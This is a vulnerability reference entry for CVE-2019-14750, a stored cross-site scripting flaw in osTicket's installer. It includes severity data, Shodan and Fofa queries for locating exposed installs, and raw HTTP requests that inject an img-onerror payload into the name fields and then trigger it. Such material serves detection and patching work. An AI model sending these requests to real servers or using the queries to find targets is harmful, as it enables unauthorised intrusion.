| Title | osTicket < 1.12.1 - Cross-Site Scripting |
|---|---|
| Author | TenBird |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft or unauthorized actions. |
| Remediation | Upgrade osTicket to version 1.12.1 or later to mitigate this vulnerability. |
| CVSS Score | 6.1 |
| EPSS Score | 0.03327 |
| CVE ID | CVE-2019-14750 |
| CWE ID | CWE-79 |
| Shodan Query | title:"osTicket"http.title:"osticket"http.html:"powered by osticket"http.title:"osticket installer" |
| Fofa Query | title="osticket"body="powered by osticket"title="osticket installer" |
| Tags | cve cve2019 packetstorm osticket xss intrusive vuln |
An issue was discovered in osTicket before 1.10.7 and 1.12.x before 1.12.1. Stored XSS exists in setup/install.php. It was observed that no input sanitization was provided in the firstname and lastname fields of the application. The insertion of malicious queries in those fields leads to the execution of those queries. This can further lead to cookie stealing or other malicious actions.
POST /upload/setup/install.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
Connection: close
Content-Length: 344
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
s=install&name=1fm08o&email=c7Za6d@0dleke.com&lang_id=en_US&fname=%22%3E%3Cimg+src%3Dx+onerror%3Dalert%281%29%3B%3E&lname=%22%3E%3Cimg+src%3Dx+onerror%3Dalert%281%29%3B%3E&admin_email=c7Za6d@0dleke.com&username=1fm08o&passwd=BaBoiNjiKQjB&passwd2=BaBoiNjiKQjB&prefix=ost_&dbhost=t8lAPL&dbname=tt&dbuser=c7Za6d&dbpass=wpyEpy&timezone=Asia%2FTokyo
GET /upload/scp/login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.5 Safari/605.1.15
Connection: close
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
POST /upload/scp/login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0: Win64: x64: rv:140.0) Gecko/20100101 Firefox/140.0
Connection: close
Content-Length: 73
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
__CSRFToken__=NkJ0fF&do=scplogin&userid=1fm08o&passwd=BaBoiNjiKQjB&ajax=1
GET /upload/scp/settings.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; CrOS x86_64 14816.131.5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2019/CVE-2019-14750.yaml
🦈 Packet Capture: ⬇️ Download cve-2019-14750.pcap
N/AN/A